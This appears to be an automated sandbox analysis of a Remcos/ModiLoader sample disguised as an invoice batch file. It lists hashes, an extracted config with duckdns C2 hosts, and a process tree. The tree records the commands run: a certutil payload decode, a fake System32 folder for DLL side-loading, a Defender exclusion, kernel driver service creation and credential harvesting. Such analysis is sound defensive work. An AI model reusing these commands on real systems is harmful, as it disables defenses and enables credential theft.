Analysis

  • max time kernel
    141s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/02/2024, 05:34

General

  • Target

    INV-M673778.01_CRM03283275.bat

  • Size

    1.7MB

  • MD5

    4684b78291fbd184c63fc72362ad6638

  • SHA1

    18b9acfef0f9cb0bc368a3f7bab870b5c8d0ea45

  • SHA256

    104dabc5458396ad4bc4bd595a18dd578a0fbbabcf2dc2446fa25d4dd3cd4395

  • SHA512

    008d9be60f83bbcb8923bf63c19940e25b53c4df2ff86c3f6ce8c46d2570eebc47774179a99d05c96e87e01e40b48e8a154d4ba412ad8494f4eef4b995d24eac

  • SSDEEP

    24576:ibbzU4JA5g17ST/0F1tjX48FSYlb+7jx9N29q6VeR6:inBA5g1uT/G1tjX48hw7jB6g8

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:55677

127.0.0.1:45671

mypersonrem.duckdns.org:45671

mypersonrem.duckdns.org:55677

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-146CM0

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 12 IoCs
  • Detects executables built or packed with MPress PE compressor 14 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INV-M673778.01_CRM03283275.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\system32\cmd.exe
      cmd /c del "C:\Users\Public\pointer.com" / A / F / Q / S
      2⤵
        PID:3768
      • C:\Windows\system32\certutil.exe
        certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\INV-M673778.01_CRM03283275.bat" "C:\Users\Public\pointer.com" 3
        2⤵
          PID:2248
        • C:\Windows\system32\cmd.exe
          cmd /c PING -n 2 127.0.0.1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3276
          • C:\Windows\system32\PING.EXE
            PING -n 2 127.0.0.1
            3⤵
            • Runs ping.exe
            PID:3556
        • C:\Windows\system32\cmd.exe
          cmd /c start C:\Users\Public\pointer.com
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2824
          • C:\Users\Public\pointer.com
            C:\Users\Public\pointer.com
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\YfqfzmgjO.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4228
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                5⤵
                  PID:4164
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                  5⤵
                    PID:4700
                  • C:\Windows\SysWOW64\xcopy.exe
                    xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
                    5⤵
                    • Enumerates system info in registry
                    PID:5080
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                    5⤵
                      PID:2116
                    • C:\Windows\SysWOW64\xcopy.exe
                      xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
                      5⤵
                      • Enumerates system info in registry
                      PID:1576
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                      5⤵
                        PID:4780
                      • C:\Windows\SysWOW64\xcopy.exe
                        xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                        5⤵
                        • Enumerates system info in registry
                        PID:5096
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                        5⤵
                          PID:624
                        • C:\Windows\SysWOW64\xcopy.exe
                          xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                          5⤵
                          • Enumerates system info in registry
                          PID:1044
                        • C:\Windows \System32\easinvoker.exe
                          "C:\\Windows \\System32\\easinvoker.exe"
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:4924
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                            6⤵
                            • Suspicious use of WriteProcessMemory
                            PID:780
                            • C:\Windows\system32\cmd.exe
                              cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                              7⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2212
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                                8⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3172
                            • C:\Windows\system32\sc.exe
                              sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                              7⤵
                              • Launches sc.exe
                              PID:1608
                            • C:\Windows\system32\sc.exe
                              sc.exe start truesight
                              7⤵
                              • Launches sc.exe
                              PID:2008
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4060
                        • C:\Windows \System32\easinvoker.exe
                          "C:\\Windows \\System32\\easinvoker.exe"
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2628
                      • C:\Windows\SysWOW64\colorcpl.exe
                        C:\Windows\System32\colorcpl.exe
                        4⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:3120
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\htfonisnjloiblhaytt"
                          5⤵
                            PID:412
                          • C:\Windows\SysWOW64\colorcpl.exe
                            C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\htfonisnjloiblhaytt"
                            5⤵
                              PID:1660
                            • C:\Windows\SysWOW64\colorcpl.exe
                              C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\jvtgoadpxtgulrdepeoqatz"
                              5⤵
                                PID:4692
                              • C:\Windows\SysWOW64\colorcpl.exe
                                C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\jvtgoadpxtgulrdepeoqatz"
                                5⤵
                                • Accesses Microsoft Outlook accounts
                                PID:1220
                              • C:\Windows\SysWOW64\colorcpl.exe
                                C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqyrptnilbyzofriyoaslfuulj"
                                5⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4844
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 1532
                                5⤵
                                • Program crash
                                PID:4248
                        • C:\Windows\system32\cmd.exe
                          cmd /c exit /b 0
                          2⤵
                            PID:1884
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3120 -ip 3120
                          1⤵
                            PID:3844

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qokxbxnx.tpy.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • C:\Users\Admin\AppData\Local\Temp\htfonisnjloiblhaytt

                            Filesize

                            4KB

                            MD5

                            a4b83bf48e62a41c2f45628d10c5bba1

                            SHA1

                            2596a41d8da2eb88f7f69e27cc16a046a2287f35

                            SHA256

                            7b29149f6971b7fba6137f401c2d515cc576dafd233b7d312dd7d818b9f91829

                            SHA512

                            afcaee732127ad05cc70a2a9cca8e4ccdcacf8161b16ed4c5e346418a7c221f3da4f20d95b449fb813a6ccbd2aad05a3a9449a9db01f8fd5c132068d1cf4c7bd

                          • C:\Users\Public\Libraries\KDECO.bat

                            Filesize

                            4KB

                            MD5

                            785e8193007bcd7858b9df41c9d45f89

                            SHA1

                            29b206de05ab075138ca9e0b9fccdddf3c30cdfe

                            SHA256

                            c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9

                            SHA512

                            a4d6fd586800f27939d8c152e89d2a231dc9fd8466e715dfeba22e2aa0428509095e12e6e66f2cb5e40ff5c998b439dc3f6792e20c179f41ac9cae31ada9d45f

                          • C:\Users\Public\Libraries\YfqfzmgjO.bat

                            Filesize

                            7KB

                            MD5

                            0d0d24b46d4bb0e4962595d455020d48

                            SHA1

                            48b247c1cb2577b28aabd7dfa999e0642b5dc6de

                            SHA256

                            f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea

                            SHA512

                            d5a8779e1cfd2a284173ce8a205cacb41fc7c744fa84e55682ac50b327c676ff50f668ecd176e0ab84420d143a8023d8b4590362b223704c55f5b0d7e116ba2c

                          • C:\Users\Public\Libraries\easinvoker.exe

                            Filesize

                            128KB

                            MD5

                            231ce1e1d7d98b44371ffff407d68b59

                            SHA1

                            25510d0f6353dbf0c9f72fc880de7585e34b28ff

                            SHA256

                            30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                            SHA512

                            520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                          • C:\Users\Public\Libraries\netutils.dll

                            Filesize

                            115KB

                            MD5

                            39be9ce198b925133f2597d6b3017a06

                            SHA1

                            a9ac8167f2018ff331b6d6c88a9dc35df40b1f5e

                            SHA256

                            6da1571c3392650a1e125c3d37d674140896c10da705c052375992997de77281

                            SHA512

                            78df6a17b2b345d1bdd09e30aceb15e3df6cf0d5c2f202ca443cb461ad66fb178eb08c704ffb94a9966d60b1f015338cb0164c03ad07c1282052872bb65eea0d

                          • C:\Users\Public\pointer.com

                            Filesize

                            1.2MB

                            MD5

                            d14f89ddd1132f5fcfb7ae6beb00ddd8

                            SHA1

                            7ead6b2af17ed2e387ef917ad72eb64165768291

                            SHA256

                            3d16630c2cd9dd265f07dc3399c679233f2908baf02ea279ff0b0e8f7eee77b2

                            SHA512

                            a7a4ca888d6799bfade22b75894124dfc922634e2215c2247b388799aa566388115aebb109cc2fc2983498311839366bd5cc438f5d8f1b56c8cc92cbb6e1a3e8

                          • memory/1220-80-0x0000000000400000-0x0000000000457000-memory.dmp

                            Filesize

                            348KB

                          • memory/1220-74-0x0000000000400000-0x0000000000457000-memory.dmp

                            Filesize

                            348KB

                          • memory/1220-82-0x0000000000400000-0x0000000000457000-memory.dmp

                            Filesize

                            348KB

                          • memory/1220-88-0x0000000000400000-0x0000000000457000-memory.dmp

                            Filesize

                            348KB

                          • memory/1660-79-0x0000000000400000-0x0000000000478000-memory.dmp

                            Filesize

                            480KB

                          • memory/1660-91-0x0000000000400000-0x0000000000478000-memory.dmp

                            Filesize

                            480KB

                          • memory/1660-76-0x0000000000400000-0x0000000000478000-memory.dmp

                            Filesize

                            480KB

                          • memory/1660-72-0x0000000000400000-0x0000000000478000-memory.dmp

                            Filesize

                            480KB

                          • memory/1692-6-0x00000000043D0000-0x00000000053D0000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/1692-5-0x00000000043D0000-0x00000000053D0000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/1692-56-0x00000000022D0000-0x00000000022D1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1692-8-0x0000000000400000-0x0000000000541000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/1692-4-0x00000000022D0000-0x00000000022D1000-memory.dmp

                            Filesize

                            4KB

                          • memory/2628-52-0x00000000613C0000-0x00000000613E3000-memory.dmp

                            Filesize

                            140KB

                          • memory/3120-66-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-69-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-61-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-63-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-64-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-59-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-67-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-93-0x000000001B3B0000-0x000000001B3C9000-memory.dmp

                            Filesize

                            100KB

                          • memory/3120-71-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-58-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-55-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-98-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3120-96-0x000000001B3B0000-0x000000001B3C9000-memory.dmp

                            Filesize

                            100KB

                          • memory/3120-60-0x0000000000D00000-0x0000000001D00000-memory.dmp

                            Filesize

                            16.0MB

                          • memory/3172-43-0x000001BCAA700000-0x000001BCAA710000-memory.dmp

                            Filesize

                            64KB

                          • memory/3172-44-0x000001BCAA700000-0x000001BCAA710000-memory.dmp

                            Filesize

                            64KB

                          • memory/3172-42-0x000001BCAA700000-0x000001BCAA710000-memory.dmp

                            Filesize

                            64KB

                          • memory/3172-41-0x00007FF88EAA0000-0x00007FF88F561000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/3172-36-0x000001BCAC7B0000-0x000001BCAC7D2000-memory.dmp

                            Filesize

                            136KB

                          • memory/3172-47-0x00007FF88EAA0000-0x00007FF88F561000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/4844-89-0x0000000000400000-0x0000000000424000-memory.dmp

                            Filesize

                            144KB

                          • memory/4844-87-0x0000000000400000-0x0000000000424000-memory.dmp

                            Filesize

                            144KB

                          • memory/4844-83-0x0000000000400000-0x0000000000424000-memory.dmp

                            Filesize

                            144KB

                          • memory/4844-77-0x0000000000400000-0x0000000000424000-memory.dmp

                            Filesize

                            144KB

                          • memory/4924-29-0x00000000613C0000-0x00000000613E3000-memory.dmp

                            Filesize

                            140KB